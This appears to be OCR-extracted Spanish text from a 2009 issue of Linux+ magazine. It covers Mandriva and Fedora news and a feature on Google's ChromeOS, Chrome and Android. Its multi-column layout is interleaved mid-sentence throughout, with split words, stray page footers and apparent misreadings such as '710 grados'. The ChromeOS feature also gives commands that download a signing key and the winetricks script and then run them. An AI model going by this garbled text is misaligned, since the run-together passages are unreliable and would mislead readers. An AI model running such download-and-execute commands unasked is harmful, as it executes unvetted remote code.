Hattrick en Mandriva Programas en Mandriva Spring Curioseando en los repositorios de ste mes me gustaría comentaros algunos Mandriva me he encontrado con el pa- programas que se encuentran dentro de quete conteniendo el hattrick organicer. E ¡¡¡Hattrick en Mandriva!!! Para todos los los repositorios de Mandriva y que os pueden que estamos enganchados a este juego en hacer la vida más fácil o por lo menos más línea donde administras tu propio equipo divertida. de fútbol, estamos de enhorabuena. Uno de ellos es FBReader, un lector de Si no sabes lo que es Hattrick puedes informarte en: http://es.wikipedia.org/ e-books ligero pero muy potente. Puede mane- wiki/Hattrick. jar una gama muy amplia de formatos de libros electrónicos entre ellos FB2, OEB, OpenReader Calendario Mandriva 2010.0 Mandriva ha modificado el calendario y muchos más. Dada su baja utilización de re- de desarrollo de Mandriva 2010.0 con cursos y su simple interfaz lo hacen ideal para gadgets son mini aplicaciones interactivas el fin de asegurar las especificaciones utilizarse en un portátil ligero, tipo netbook, que pueden ubicarse en cualquier lugar del documentadas y lograr la calidad desea- y transformarlo en un lector de e-book. escritorio. Tenemos una gran variedad de da. La nueva fecha para la versión final es el 22 de octubre. FBReader nació en el Sharp Zaurus, una aplicaciones desde reloj, calendario, previsio Podéis encontrar el nuevo calendario en: PDA basada en Linux, y rápidamente se ex- nes meteorológicas, bloc de notas y un largo http://wiki.mandriva.com/en/2010.0_ tendió a otros dispositivos móviles, incluyen- etcétera. Podéis encontrarlas, clasificadas Development#Planning. do las Internet Tablet de Nokia, así como por categorías, en: http://desktop.google.com/ Mandriva Flash 2009 Spring a los PCs gracias sobre todo a la popularidad plugins/. de Linux. Cuando arranquemos FBReader Para instalar esta aplicación debéis ins- quizás nos llevemos una decepción pues su talar el paquete google-gadgets-common, yo interfaz es muy austera y nos dará la impre- tuve que instalar la versión 0.11 porque con sión de programa poco potente, pero cuando la 0.10 no conseguí que funcionara. Además comencemos a utilizarlo nos daremos cuenta instalé los siguientes programas: xulrunner, de que no hemos de fiarnos de nuestras pri- js y google-gadgets-xul con las dependen- meras impresiones, pues FBReader funcio- cias que me indicó mi sistema. na muy bien y posee una gran potencia co- Una vez terminada la instalación tecleé en mo lector de e-book. Por ejemplo, FBRea- un terminal: ggl-qt, dado que estaba en KDE, der recuerda siempre la posición en la que si estáis en GNOME teclear ggl-, con nos quedamos en nuestra última lectura, esto tendremos los Google gadgets corriendo Ya está disponible toda la potencia incluso aunque hayamos abierto otros libros en nuestro sistema, solamente tendremos que de Mandriva 2009 Spring en un llavero tras ella, también podemos rotar el texto 90, buscar aquellos que nos gusten más y añadir- USB para que puedas utilizar tu distri- 180 o 710 grados, así mismo posee amplias los al Escritorio o a una barra lateral. bución favorita donde quieras. Man- driva Flash se presenta en un llavero posibilidades de configuración. Espero que os gusten estas dos aplicacio- USB de 8 GB con una capacidad de Podéis obtener más información sobre nes que os he presentado, de todas formas os almacenamiento de 6 GB. Entre las este interesante programa en su página web: propongo que naveguéis por los repositorios aplicaciones disponibles tenemos Mozilla http://www.fbreader.org/. de software de Mandriva donde seguro que Firefox, Mozilla Thunderbird, Skype, y la suite OpenOffice. Otra aplicación que os puede facilitar el os encontrareis con muchas aplicaciones que Podéis adquirirla en: http://store. trabajo o, por lo menos, daros algunos mo- os sorprenderán. Yo seguiré compartiéndolas mandriva.com/. mentos de relax es Google gadgets. Estos con vosotros en próximos meses.

PUBLICIDAD

www.lpmagazine.org 11

11_Mandriva.indd 11 2009-08-21, 11:42 novedades Fedora sección llevada por Diego Rivero Montes [email protected]

Fedora 12 Constantine Por fin ya tiene nombre. Al parecer la A propósito de Leonidas próxima versión de Fedora ya ha sido a tenemos Leonidas a disposición de • En lo que respecta al procesador pide bautizada y le ha sido adjudicado el todos aquellos que queremos tener un como mínimo PowerPC G3/POWER3. nombre de Constantine, la cual si se Y cumplen los protocolos y el calendario, buen Sistema Operativo libre, además con • Según se informa en la web de Fedora, la tendremos disponible en el próximo las garantías que nos ofrece la casa madre Leonidas únicamente soporta la gene- mes de noviembre, siendo un cálculo Red Hat. No se trata de un sistema exigente ración “Nuevo Mundo” de la Apple aproximado el siguiente: a la hora de solicitar rendimiento a la má- Power Macintosh. Aunque debería fun- • 6 de octubre de 2009: versión Preview Release. quina, así que podemos instalarlo si cum- cionar en las máquinas “Viejo Mundo”, • 3 de noviembre de 2009: versión final plimos con los siguientes requisitos de hard- pero se requiere un cargador de arran- de Fedora 12. ware: que especial no incluido en la distri- Todo esto si como decimos no ocurre lo bución. Igualmente se informa que ha que ninguno deseamos y pasó con las anteriores versiones de nuestra distribución, • En lo referente a arquitecturas x86: Leo- sido probado en máquinas POWER5 pero bueno, un poco de espera no hace nidas a la hora de trabajar con procesa- y POWER 6. daño a nadie e incrementa la expectación. dores Intel y compatibles o equivalentes como pueden ser AMD, Ciryx y VIA, Soporta máquinas pSeries y Cell Broad- Primera revisión de seguridad en Firefox 3.5.1 nos va a solicitar únicamente un pro- band Engine. También da soporte a la Ha sido publicada la primera revisión cesador Intel Pentium o superior y está Sony PlayStation 3 y Genenesi Pegasos de seguridad de uno de los más, si no el pensado para Pentium 4 y sucesores. II y Efika. más, popular navegador, nuestro bien amado Firefox. En su versión 3.5.1 rea- • La velocidad del reloj debería ser 200 Incluye un nuevo soporte de hardware liza varias correcciones en general y en Mhz si lo vamos a utilizar en modo tex- para máquinas P.A. Semiconductor 'Elec- particular una vulnerabilidad crítica en to y si queremos usarlo en modo gráfico tra'. Además incluye soporte para las esta- el motor de Javascript, así como también nos va a pedir un Pentium II a 400 o su- ciones de trabajo Terrasoft Solutions. realiza varios ajustes a la estabilidad del navegador. perior. Si lo que deseamos es trabajar en mo- El error fue descubierto el 14 de julio • En el apartado de memoria RAM si de- do texto únicamente nos va a solicitar una y Mozilla tardó solamente tres días en seamos usar el modo texto entonces ne- RAM de 128 MB 233 MHz G3 o superior, realizar las oportunas correcciones aunque cesitaremos únicamente 128 MB, por el cosa que si lo que queremos es usar el en- ya existía una solución eventual para no dejar desprotegidos a los usuarios. La segu- contrario si nos decidimos por usar un torno gráfico nos va a salir por 400 MHz G3 ridad es algo que no se debe dejar al azar entorno gráfico necesitaremos como o superior, 256 MB RAM. y en Mozilla se han puesto las pilas a la mínimo 192 MB. Esto es algo mínimo hora de buscar soluciones. ya que lo que recomiendan los propios Espacio en disco Axel padres de la criatura son 256 MB. Todas las arquitecturas tienen similares Si queremos realizar nuestras descargas • Para arquitecturas x86_64 los requeri- requerimientos de espacio en el disco duro. de archivos desde internet sobre ftp o http mientos que se apuntan son exactamen- Si optamos por instalar todos los paquetes existen varias herramientas, pero a diferencia de otros que únicamente hacen la conexión te el doble de los expresados para los nos puede ocupar unos 9 GB de disco. Sin con el servicio y comienzan la descarga, x86 así que como es habitual deberemos embargo el tamaño que vamos a usar fi- Axel hace mucho más. tener una máquina un poco más po- nalmente estará determinado por el medio Cuando lo que queremos es que las descargas tente. de instalación y los paquetes que hayamos sean mucho más rápidas, entonces podemos echar mano de esta herramienta. Axel no decidido que estén en nuestra distro. se dedica a hacer una única conexión, todo Evidentemente también lo podemos instalar Igualmente necesitaremos espacio adi- lo contrario, realiza múltiples conexiones en los PPC, para aquellos que lo posean lo cional de disco para dar soporte al entorno con los servicios ftp o http posibilitando de que les va a solicitar será: de instalación. Este espacio adicional se de- este modo que el fichero en cuestión se des- cargue en varias partes para luego unificarlas, be al tamaño de /Fedora/base/stage2.img permitiendo así una aceleración de la descar- (en el disco 1 de instalación) a lo que hay que ga del paquete. añadir lo que ocupan los archivos /var/lib/ Si queremos usar Axel, primero deberemos rpm en el sistema ya instalado. tener habilitado el repositorio DAG Wieers, después usamos la herramienta yum y hace- Hablando de una forma más clara, los mos "yum install axel" y ya podemos usar requerimientos de espacio adicional pue- Axel para descargar: den oscilar entre los 90 MB si hablamos de Una descarga normal una instalación mínima hasta los 175 MB axel http://...... Se pueden especificar el número de conexio- para una instalación algo mayor. A esto nes: también habríamos de añadir el espacio axel -n 5 http://...... adicional para los datos del usuario así co- Estas son algunas de las opciones, todo es mo debemos reservar como mínimo un 5% investigar. de espacio libre para el correcto funciona- miento del sistema.

12 Linux+ 10/2009

12+Fedora.indd 12 2009-08-13, 14:19 Si no puedes leer el disco DVD y no notas ningún tipo de deterioro mecánico, por favor, pruébalo en al menos dos unidades de disco diferentes.

10/2009

En caso de problemas, escribir a: [email protected]

13_pod_dvd.indd 11 2009-08-13, 14:34 hardware ChromeOS: el nuevo SO de Google

ChromeOS: el nuevo Sistema Operativo de Google para netbooks José María Gómez Hidalgo ChromeOS ha levantado revuelo. Y no es de extrañar, porque cada movimiento del gigante de la Web lo hace. Google salió de un garaje y de la creatividad de los masters de Stanford, Brin y Page, y se ha convertido en un gigante del software que ingresa 16 millones de dólares al día por publicidad, llegando a rivalizar con compañías como el titán de Redmond, Microsoft.

ste éxito se basa en una estrategia bien defini- Con el paso del tiempo, esta estrategia inicial ha con- da y visionaria, que tiene como último movi- ducido a Google a ingresar cantidades millonarias por miento el anuncio de un nuevo sistema ope- publicidad, que han servido para financiar una carrera rativo ligero pensado en la experiencia Web a largo plazo que ha incluido la adquisición de empresas [email protected] Ey basado en el navegador Google Chrome, el sistema tecnológicas como Postini o GrandCentral, con grandes ChromeOS. ¿Quiere Google desbancar a Microsoft con bases de usuarios como Youtube, Blogger o Feedburner, este movimiento? ¿Qué va a pasar con su iniciativa An- o centradas en su negocio de anuncios, como DoubleClick. droid? Este artículo intentará dar respuesta a éstas y otras En esta carrera, Google ha puesto en marcha servicios co- preguntas. mo Gmail, Google Maps y Earth, Google Docs, y otros, Cuando todos los especialistas en la búsqueda Web con el fin de tener acceso cada vez a más tráfico de sus estaban orientando sus esfuerzos a capturar al máximo el usuarios, caracterizarlos mejor, y servirles la publicidad más tráfico de sus usuarios, por medio de portales destinados efectiva. Y el siguiente paso en esta carrera es ChromeOS, a ser no sólo páginas de inicio, sino tu sitio en la Web, Go- el recientemente anunciado Sistema Operativo para net- ogle hizo su aparición con una idea revolucionaria: No te books. quedes en Google, sólo queremos ser tu punto de entrada. No se trata de tener 10 millones de usuarios 100% fieles Pensado para la inmersión Web a ti, sino miles de millones que pasen por ti, aunque sólo ¿Y quién es el usuario de un netbook, sino alguien que casi sea un momento. Y es que un momento de miles de millo- literalmente “vive en la Web”? Un PC portátil de bajo cos- nes de usuarios vale mucho. La clave es hacer algo muy te, ligero, en el que hasta el propio nombre lo dice. Y un bien, aunque sea algo relativamente pequeño: ayudar a sus segmento de mercado en plena ebullición. ¿Tanto se puede usuarios a encontrar lo que buscan en la Web. hacer en la Web, que no es necesario nada más?

14 Linux+ 10/2009

14_15_16_17_18_ChromeOS.indd 14 2009-08-13, 14:20 hardware ChromeOS: el nuevo SO de Google

Y la arquitectura subyacente ha sido completa- mente rediseñada a fin de que los usuarios se puedan despreocupar de los virus, el malware o las actualizaciones. Encender y listo. Google piensa liberar el código más ade- lante este año, y los primeros netbooks con Chrome OS estarán disponibles en la segunda mitad de 2010. Actualmente, Google está esta- bleciendo acuerdos con fabricantes y otros so- cios en este sentido, como Acer, Adobe, ASUS, Freescale, Hewlett-Packard, Lenovo, Qualcomm, Texas Instruments, Toshiba y Dell. El sistema funcionará tanto en chips ARM como en la fa- milia x86, por lo que la base hardware para este Sistema Operativo será muy amplia. Y como ha pasado con muchas de sus iniciativas, Go- ogle piensa sacar partido de la comunidad del software libre. ¿Qué ocurre con los desarrolladores? Muy Figura 1. El navegador Chrome fácil, olvídate del Sistema Operativo y progra- La respuesta a esta pregunta es claramen- están ingresando ya hoy cantidades millo- ma sólo para la Web. Al fin y al cabo, ahí es te sí. Desde hace algunos años, las aplicacio- narias por este concepto. donde encontrarás a los usuarios de tus aplica- nes de uso más corriente han dejado de ser al- ciones, ¿no? Y si tu aplicación utiliza tecnolo- go local, para ir progresivamente implantán- Esta revolución de “la vida en la Web” es la mo- gías estándar, funcionará también con los de- dose como servicios Web. Esto incluye desde tivación principal para que Google opine que ha más navegadores que respeten los estándares, aplicaciones de comunicación como el correo llegado el momento de repensar lo que debe ser cualquiera que sea su Sistema Operativo electrónico, a aplicaciones tradicionales de un Sistema Operativo. Y si Google saltó al mer- subyacente. Y éste, desde luego, es un cambio escritorio como las ofimáticas. La culpa de cado de los navegadores en septiembre de 2008 radical. Ya no es “y en la Web”, sino “sólo en la esta tendencia la tiene no sólo el afán de las con Chrome, el paso natural es convertirlo en Web”. empresas que viven de la publicidad online la base de un Sistema Operativo ligero que esté por ofrecer servicios populares con el fin de orientado precisamente al creciente público que Basado en Chrome acceder cada vez a más tráfico de sus usua- hace cada vez más vida en la Web. Desde septiembre de 2004 se llevaba espe- rios, sino también y muy especialmente: Chrome OS es un Sistema Operativo li- culando con la posibilidad de que Google gero y libre que está concebido para entrar en entrara en el mercado de los navegadores. Sus • La propia tendencia de los usuarios a vol- la red nada más iniciar el netbook. Las claves propios directivos lo desmentían, mientras el car cada vez más su vida, incluso perso- de su diseño son la simplicidad, la rapidez y la gigante tecnológico registraba los dominios nal, en la llamada Web 2.0 o Web Social, seguridad, claves que a su vez hereda del nave- gbrowser.*. Algunos incluso mencionaban la gestionando sus diarios, amistades, y todo gador. Por ello, su interfaz de usuario es mini- posibilidad de que se internara en el ámbito tipo de información propia y comunica- malista, y está basado en un núcleo Linux con de los Sistemas Operativos, como sugerían en ción personal a través de redes como Face- un sistema de ventanas ligero pensado para no Dirson, el popular blog sobre Google. Sin em- book o Tuenti. De hecho, Tuenti cuenta con interferir en la experiencia Web del usuario. bargo, hasta septiembre de 2008, no ha visto la 5,6 millones de usuarios y Facebook con 4,3 millones a fecha de diciembre de 2008, según un estudio de comScore sobre una población de casi 18 millones de internau- tas en España. • La creciente disponibilidad de servicios tanto para el usuario final como empresa- riales en la Web, que se inició con las in- terfaces Web a aplicaciones empresariales, y que ha crecido hasta convertirse en una vasta oferta como la de Amazon Web Ser- vices (AWS), que incluye desde tiempo de cómputo, a alojamiento, base de datos, servicios de pago, etc. Es el concepto de Cloud Computing, que promete conver- tirse en una revolución en los negocios. AWS, SalesForce.com y el propio Google Figura 2. Chrome sin Omnibox, tras crear un acceso directo a aplicaciones

www.lpmagazine.org 15

14_15_16_17_18_ChromeOS.indd 15 2009-08-13, 14:20 hardware ChromeOS: el nuevo SO de Google

versiones de Internet Explorer, o al 22,5% de las versiones de Firefox. Sin embargo, este im- pacto no se puede considerar residual, ya que es superior al de, por ejemplo, Opera, y se ha conseguido en solamente 9 meses. El navegador Chrome para Linux aún está en desarrollo, así que si quieres disponer de él en tu netbook con Ubuntu, lo más sencillo que puedes hacer es instalar , a no ser que Figura 3. Cuota de mercado de los navegadores en mayo de 2009 prefieras compilarlo tu mismo. Para el caso de luz el navegador de Google, y en forma beta, • La caja Omnibox para las direcciones Wine, bastan los siguientes pasos: que se ha convertido en estable en diciembre. incluye autocompletado de URLs, suge- rencias de búsqueda, URLs de páginas • Descargar e instalar Wine, lo que puedes ¿Qué es Chrome? visitadas previamente, páginas populares hacer son las siguientes órdenes como Chrome es un navegador desarrollado por y búsqueda en el historial. administrador:

Google a partir del proyecto de software libre • El sistema de miniaturas de páginas wget -q http://wine. Chromium, sobre una base de principios de recientes visitadas por el usuario a la budgetdedicated.com/apt/ diseños explícitamente orientados a mejorar apertura de cada nueva pestaña. 387EE263.gpg -O- | sudo la experiencia Web del usuario en términos • El sistema de pestañas adquiere máximo -key add - de sencillez, rendimiento y seguridad, es decir, protagonismo al colocarse sobre los con- wget http://wine. a sumergirlo plenamente en la Web. Además troles, de modo que hay un juego de con- budgetdedicated.com/apt/ de utilizar una serie de ideas ingeniosas pro- troles por pestaña. Su uso es muy flexible, sources.list.d/hardy.list pias, Chrome ha sacado partido de las expe- como procesos independientes que son, -O /etc/apt/sources.list. riencias positivas de otros navegadores, espe- con opciones de arrastrar, mover objetos d/winehq.list cialmente de Opera, Firefox y Safari. entre pestañas, etc. Las características más importantes de • Ejecutar el script winetricks descargán- seguridad de Google Chrome son: Una característica que adquiere una impor- dolo previamente:

tancia enorme desde el punto de vista de la uti- wget http://www.kegel.com/wine/ • Un sistema de descarga y actualización de lización de Chrome como elemento estra- winetricks listas negras para sitios de suplantación de tégico en ChromeOS es la posibilidad de sh ./winetricks riched20 identidad o que albergan malware perma- crear accesos directos a aplicaciones Web. Al riched30 fl ash nentemente actualizado por Google. pulsar un acceso directo, la ventana que surge • Descargar y ejecutar el instalador offline • Ejecución de pestañas como procesos in- carece de Omnibox y sólo dispone de barra usando Wine. dependientes y en una “sandbox” para im- de título, es decir, parece a todos los efectos • Llamar Chrome con los parámetros si- pedir la ejecución de software malicioso. una ventana de una aplicación local. Esta guientes:

Si se cuelga una pestaña, las demás si- característica es crítica, ya que hace parecer wine "C:\windows\profi les\ guen disponibles. que las aplicaciones Web son locales, con lo USUARIO\Confi guración local\ • Disponibilidad de un modo de navega- que se fomenta la plena inmersión Web como Datos de programa\Google\Chrome\ ción de incógnito para fomentar la pri- plataforma de trabajo. Este efecto se puede Application\chrome.exe" --new- vacidad, durante el cual no se almacena observar en la Figura 2. http --in-process-plugins información de actividad y a su final se borran las cookies y los archivos tempo- El impacto de Chrome Donde debes usar tu nombre de usuario en rales. Desde su aparición, Google Chrome no ha he- lugar de USUARIO. Y así, si tu escritorio es cho más que dar que hablar. Cuenta con nume- ligero, ya te puedes ir haciendo una idea de Por lo que respecta al rendimiento, Google ha rosos fanáticos, pero también con detractores cómo será la experiencia ChromeOS. realizado un esfuerzo muy grande en garanti- que defienden que no ha inventado nada, y que La alternativa es, por supuesto, compi- zar la rapidez, incluyendo un motor optimiza- el rendimiento y seguridad de versiones poste- larlo tu mismo, desde el proyecto Chromium. do de JavaScript aproximadamente dos veces riores de Firefox, por ejemplo, son mejores. Para ello, puedes seguir los siguientes pasos: más rápido que el de Firefox y el del Internet La mejor manera de medir el impacto de Explorer según algunos tests de velocidad, un navegador, según la historia nos cuenta, es • Instalar las dependencias:

como el SunSpider JavaScript. También se calcular su base de usuarios. Ésta no es tarea fácil, sudo install subversion incluye una cache de DNS, y el uso de me- pero existen algunas aproximaciones interesan- python perl g++ bison fl ex gperf moria se ha optimizado notablemente. tes. Por ejemplo, según las estadísticas de cuota libnss3-dev En lo que respecta a la sencillez de uso de mercado de la consultora Net Applications • Descargar la última versión de de- y la interfaz (que se muestra en la Figura 1), (mostradas en la Figura 3), Chrome dispone de pot_tools del repositorio Subversion. Google Chrome incorpora múltiples caracterí- una base de usuarios que se corresponde con Se trata de un conjunto de scripts que se sticas de éxito en otros navegadores, inclu- el 1,8% del total según datos de mayo de 2009, utilizan para trabajar con el repositorio yendo: frente por ejemplo al 65,5% de diferentes de código de Google Chrome:

16 Linux+ 10/2009

14_15_16_17_18_ChromeOS.indd 16 2009-08-13, 14:20 hardware ChromeOS: el nuevo SO de Google

svn co http://src.chromium.org/ sarial y el del hogar/usuario final, con modelos Algunos plantean la posibilidad de que un svn/trunk/depot_tools/linux comerciales distintos, pero un sólo modelo modelo importante de negocio sea hacer renta- depot_tools tecnológico, que es la computación en nube. El bles a los netbooks. A la vista de muchos analis- • Obtener la última versión del código del modelo tecnológico es simple: aplicaciones que tas (pero no tantos usuarios), estos dispositivos navegador: típicamente han sido de escritorio o de gran ser- no acaban de encontrar su Sistema Operativo

cd depot_tools/ vidor, hospedadas en los servidores de Google, ideal. Muchos fabricantes están entregándolos ./gclient config http:// y accedidas desde cualquier lugar y dispositivo con arranque dual Microsoft Windows/Ubuntu, src.chromium.org/svn/trunk/src sobre la base de la conectividad a través de un pero ninguno de los dos Sistemas Operativos ./gclient sync cliente ligero. Los servidores de Google son parece adecuarse a la perfección a los disposi- • Y finalmente, compilarlo: la nube, y el cliente tan ligero es el navegador tivos. En este sentido, un arranque dual con uno

cd src/chrome Chrome sobre el minimalista ChromeOS. de ellos más ChromeOS puede ser una solución ../third_party/scons/scons.py Tecnológicamente, no se puede decir que que llegue bien al mercado, siempre que éste Hammer hayan inventado la rueda, más bien la habrían último sí que encaje bien con los netbooks. reinventado. Y no por el concepto de compu- Eso sí, necesitarás hasta 10 Gb sin incluir las tación en nube en sí, que se debe más bien ¿La competencia de Android? dependencias. a principios de la década por compañías como Esta es una de las preguntas que se han he- Salesforce.com o Amazon Web Services, sino cho todos los expertos, casi se podría decir El modelo de negocio incluso porque éste era ya una apuesta de Sun que es “la pregunta del millón de dólares”. El Google no da puntadas sin hilo. Y si saca un Microsystems en 1984, cuando el visionario in- sistema Operativo Android puede correr sobre Sistema Operativo ligero orientado a la Web, vestigador y tecnólogo acuñó la frase “the net- netbooks, es libre, y está apoyado por una gran se puede entrever el modelo de negocio. No work is the computer”. Más aún, las Network cantidad de empresas del sector de la telefonía es por otra parte un modelo sorprendente, ya Computers de Sun, tecnologías fracasadas por móvil. ¿Por qué crear ChromeOS? que al fin y al cabo reincide sobre la princi- la conectividad de entonces, eran las interesan- pal fuente de ingresos de Google, que es la tes Java Stations. Y qué curioso, ejecutaban el ¿Qué es Android? publicidad online. Según Larry Dignan, el bytecode de Java de manera nativa. Seguro En julio de 2005 Google compró la pequeña prestigioso analista de ZDNet, este movi- que algún parecido con el Sistema Operativo empresa tecnológica Android, y tras realizar miento de Google revela plenamente la “pila para móviles, Android, promovido por Google, varios esfuerzos por entrar en el mercado de la de Google”. Esta pila estaría constituida por podemos encontrar. telefonía móvil, lideró la creación de la Open los siguientes elementos: En cuanto al modelo comercial, distingui- Handset Alliance, a la que cedió el Sistema mos entre los usuarios finales y las empresas. Operativo Android, liberado como software • El Sistema Operativo ChromeOS. Existe bastante consenso sobre que éste será libre en octubre de 2008. Android es un Sistema • El navegador Chrome. el año de la computación en nube, como faci- Operativo para móviles basado en un núcleo de • Google Apps, es decir, el servicio co- litador tecnológico del Software como Servicio Linux, y que permite a los desarrolladores escri- mercial de aplicaciones de colaboración, (Software as a Service) desde el punto de vista bir aplicaciones en Java para el mismo, usando comunicación y escritorio (Gmail, Docs, empresarial. En este sentido, el conjunto de un SDK parcialmente libre. Usar un lenguaje Calendar, Video, Sites, etc.) aplicaciones de comunicación y colaboración, tan popular como éste lo convierte en una pla- • Android para dispositivos móviles. que son Gmail, Calendar, Docs, Sites y Video, taforma muy atractiva para el desarrollo, que no • El modelo económico basado en anun- se licencian por usuario a razón de 40 euros por está limitado por la máquina virtual tan acotada cios (desde la búsqueda a todos los ser- usuario y año. Aunque el modelo de Software en otros dispositivos móviles. Además, tiene un vicios “gratuitos”). como Servicio es óptimo bajo el principio de soporte muy amplio de la industria, e incluye • La nube. pago por uso, este modo de comercialización de gran variedad de atributos como el control táctil “tarifa plana” también es muy popular. de la pantalla, lo que le permite hipotéticamente Personalmente, más bien parece un círculo que De cara a los usuarios finales, las aplica- competir con el popular IPhone de Apple. En la una pila... Lo que está muy claro es que Google ciones disponibles son las mismas y muchas Figura 4 mostramos su emulador. cubre los dos principales mercados, el empre- más (Maps, Earth, etc.), muchas de ellas en Android ha sido portado a los netbooks beta, y el modelo es el habitual: publicidad on- basados en chips ARM, como otros Sistemas line. Es más, un objetivo de estas aplicacio- Operativos móviles y no tan móviles. Pero los nes es el de capturar cada vez más tráfico fabricantes de estos chips no ponen mucho e información sobre el usuario, a fin de reali- entusiasmo en esta idea, ya que opinan que: zar una publicidad más personalizada y efec- tiva. Lo que está claro es que, entre el número • Android está demasiado optimizado para creciente de aplicaciones y servicios gratuitos, smartphones, y que por tanto carece de y el exponencial número de usuarios de la elementos fundamentales como el soporte Web 2.0, el principio de que la vida se hace para la ejecución de varias aplicaciones cada vez más en la Web se cumple. Y por tan- simultáneas, y muchos controladores. to, el principio de Google sobre ChromeOS • Las iniciativas llevadas hasta ahora para tiene sentido, y sólo puede hacer crecer su realizar estos portes, y el interés de los fabri Figura 4. El emulador de Android cuenta de resultados por publicidad. cantes y desarrolladores, es bastante escaso.

www.lpmagazine.org 17

14_15_16_17_18_ChromeOS.indd 17 2009-08-13, 14:20 hardware ChromeOS: el nuevo SO de Google

Y Microsoft, ¿qué piensa de esto? última semana de agosto en Australia. Es más, En la red Por supuesto, Microsoft no se siente amena- si ChromeOS resulta como producto, se elimi- zado por este desarrollo. Como fabricante de nará Windows y abaratará el dispositivo hasta • Google Chrome OS en el Sistemas Operativos, sus ejecutivos no ven la en 75 dólares. Lenovo y HTC también están en Official Google Blog - http:// competencia en el PC de escritorio. Y por su- esta carrera... googleblog.blogspot.com/2009/07/in- puesto, siempre están dispuestos a quedarse La importancia de ChromeOS se puede troducing-google-chrome-os.html con su trozo del pastel: ver en varios aspectos: • FAQ del Google Chrome OS - http:// chrome.blogspot.com/2009/07/ • La agresiva política de precios de Micro- • Está claro que Microsoft Windows nece- google-chrome-os-faq.html soft está permitiendo que muchos fabri- sita más competencia, y cualquier entrada • Dirson sobre el Chrome OS - http:// cantes entreguen su netbook con XP (en en este mercado de los Sistemas Operati- google.dirson.com/post/4389-google- solitario o con arranque dual), sacando vos debería ser bienvenida, especialmente chrome-os-sistema-operativo/ partido de su su interoperatividad con el si se trata de uno libre. • El navegador Chrome en la Wiki- PC de sobremesa donde su posición es • Este sistema operativo podría abaratar el pedia - http://es.wikipedia.org/wiki/ dominante. precio de los netbooks y no solamente Google_Chrome • Microsoft siguen en paralelo y replica cada de ellos, sino de los PCs de sobremesa • Cuota de mercado de navegadores una de las políticas de desarrollo de Google. y otros. en Net Applications - http://marketsha Por supuesto, Microsoft aporta su propia • Y según dicta el sentido común, es con- re.hitslink.com/ nube (Azure), y tiene su propuesta de veniente seguir cualquier movimiento de • Android en la Wikipedia - http://en. Sistema Operativo basado en navegador Google. Su potencia de marca es impre- wikipedia.org/wiki/Android_(opera- (Gazelle) en estado de investigación. sionante, y su impacto es imprevisible ting_system) pero puede llegar a ser astronómico. • Acer anuncia netbooks con Chro- En este sentido, la propuesta de Gazelle está meOS: http://www.smarthouse. definida como “el diseño y construcción de un Sin embargo, no debemos olvidarnos de que com.au/Home_Office/Notebooks_ navegador que en realidad es un Sistema Ope- Google no ha probado aún su capacidad para And_Tablets/S5K7R7T5 rativo principal”. Hay que tener presente que desarrollar un Sistema Operativo para un dis- Microsoft no ha expresado su interés en que positivo de la potencia de un netbook o supe- Un objetivo distinto Gazelle sea el nuevo navegador de Microsoft, rior. Bueno, está Android, pero no olvidemos En su anuncio, Google subraya que Chrome- en reemplazo del Internet Explorer, o el nuevo que no es precisamente lo mejor para estos OS no ha llegado para reemplazar o competir sistema operativo sucesor de Windows Vista dispositivos, y que ya no es de Google, sino de con Android en los netbooks. Sundar Pichai o Windows 7. Por el momento, se trata de un la Open Handset Alliance. Y además, al ser un y Linus Upson, de Google, comentan: “An- proyecto de Microsoft Research, y nada más. sistema basado en un núcleo Linux, tiene la po- droid fue diseñado desde el principio para Desde el punto de vista técnico, se trataría tencial desventaja de dispersar aún más nuestra funcionar sobre una gran variedad de dispo- de un navegador optimizado para el uso de comunidad, y que por ejemplo Ubuntu pierda sitivos, desde los teléfonos a los netbooks. aplicaciones Web, e integrado para dar el mejor una cuota de mercado tan duramente arañada Google ChromeOS está siendo creado para la equilibrio posible a nivel de recursos con el Sis- a Windows. Aunque sea sobre netbooks... gente que pasa la mayor parte del tiempo en la tema Operativo subyacente. En otras palabras Web, y está siendo diseñado para dar soporte y llevándolo al extremo, podría considerarse a computadoras que varían desde los peque- como el intérprete para un Sistema Operativo Sobre el autor ños netbooks a los sistemas de escritorio en red. La propuesta es claramente distinta, completos. Aunque hay áreas en las que Google pero apunta en la misma dirección: potenciar José María Gómez Hidalgo es Doctor en ChromeOS y Android se solapan, pensamos y optimizar el uso de las aplicaciones en entor- Ciencias Matemáticas, y director de I+D que la capacidad de elección fomentará la no Web, es decir, en la nube. en la empresa de seguridad Optenet. Ha innovación para el beneficio de todos, inclu- Dado que no hay prevista comerciali- sido profesor e investigador de la Univer- yendo Google”. zación ni release al público de momento, no sidad Europea de Madrid, dirigiendo el Por tanto, poniendo sobre la mesa la opi- sabemos dónde puede llegar esta carrera (si es Departamento de Sistemas Informáticos. nión del fabricante fundamental de los chips que existe). Sin embargo, nadie acaba de ver Ha dirigido varios proyectos de investiga- que dan vida a los netbooks, y los propios un netbook sobre Vista, y XP tiene limitaciones ción centrados en herramientas de filtrado comentarios de Google, no debemos esperar según muchos analistas. de contenidos Web y de filtrado de correo demasiada competencia en este sentido, al basura o spam. Dentro de la seguridad, menos en mi opinión. El principal motor de Conclusiones su especialidad es la aplicación de técni- Android es el interés de la industria de los telé- Como hemos comentado, aún hay mucho cas de Inteligencia Artificial, y ha publica- fonos móviles, mientras que el de ChromeOS camino por andar. Teóricamente no se espera do varios artículos científicos, e impartido será probablemente el de los propios usuarios ver netbooks con ChromeOS hasta la segunda conferencias nacionales e internacionales de netbooks. Aún así, hay que estar atento, mitad del año 2010. Sin embargo, ya hay fabri- sobre el correo basura y el filtrado Web. porque algunos fabricantes, como Acer, ya cantes que los están anunciando. Por ejemplo, Su página web es http://www.esp.uem.es/ han anunciado la eventual comercialización Acer anuncia la comercialización de netbooks jmgomez, y su blog es http://jmgomezhida de netbooks con Android. con arranque dual ChromeOS/Windows para la lgo.blogspot.com.

18 Linux+ 10/2009

14_15_16_17_18_ChromeOS.indd 18 2009-08-13, 14:20 19_rekl_Fesoli.indd 1 2009-08-20, 17:15 hardware Compatible Linux

Compatible Linux José Ángel Muñoz Martínez Es increíble pensar en cómo, no hace más de 5 años era casi imposible encontrar a una persona que apoyara a Linux o al Código Abierto como alternativa a otros sistemas operativos. No sólo en arquitecturas x86, sino en ARM o dentro de un reproductor de música o un teléfono móvil. Hoy en día no sólo hay grandes comunidades que lo hacen, sino que es una realidad más que palpable.

